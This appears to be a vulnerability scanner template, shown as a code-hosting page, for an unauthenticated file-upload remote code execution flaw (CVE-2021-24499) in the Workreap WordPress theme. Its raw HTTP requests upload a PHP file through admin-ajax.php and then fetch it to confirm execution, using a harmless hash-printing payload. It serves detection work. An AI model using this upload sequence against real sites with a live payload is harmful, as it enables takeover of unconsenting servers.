51 lines
1.8 KiB
YAML
51 lines
1.8 KiB
YAML
id: CVE-2021-24499
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info:
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name: Workreap WordPress theme - unauthenticated RCE
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author: daffainfo
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severity: critical
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description: The AJAX actions workreap_award_temp_file_uploader and workreap_temp_file_uploader did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.
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reference:
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- https://github.com/RyouYoo/CVE-2021-24499
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24499
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tags: cve,cve2021,wordpress,wp-plugin,rce,intrusive
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.80
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cve-id: CVE-2021-24499
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cwe-id: CWE-434
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requests:
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- raw:
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POST /wp-admin/admin-ajax.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=------------------------cd0dc6bdc00b1cf9
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X-Requested-With: XMLHttpRequest
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-----------------------------cd0dc6bdc00b1cf9
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Content-Disposition: form-data; name="action"
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workreap_award_temp_file_uploader
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-----------------------------cd0dc6bdc00b1cf9
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Content-Disposition: form-data; name="award_img"; filename="{{randstr}}.php"
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Content-Type: application/x-httpd-php
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<?php echo md5("CVE-2021-24499"); ?>
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-----------------------------cd0dc6bdc00b1cf9--
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- |
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GET /wp-content/uploads/workreap-temp/{{randstr}}.php HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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part: body
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words:
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- "71abe5077dae2754c36d731cc1534d4d"
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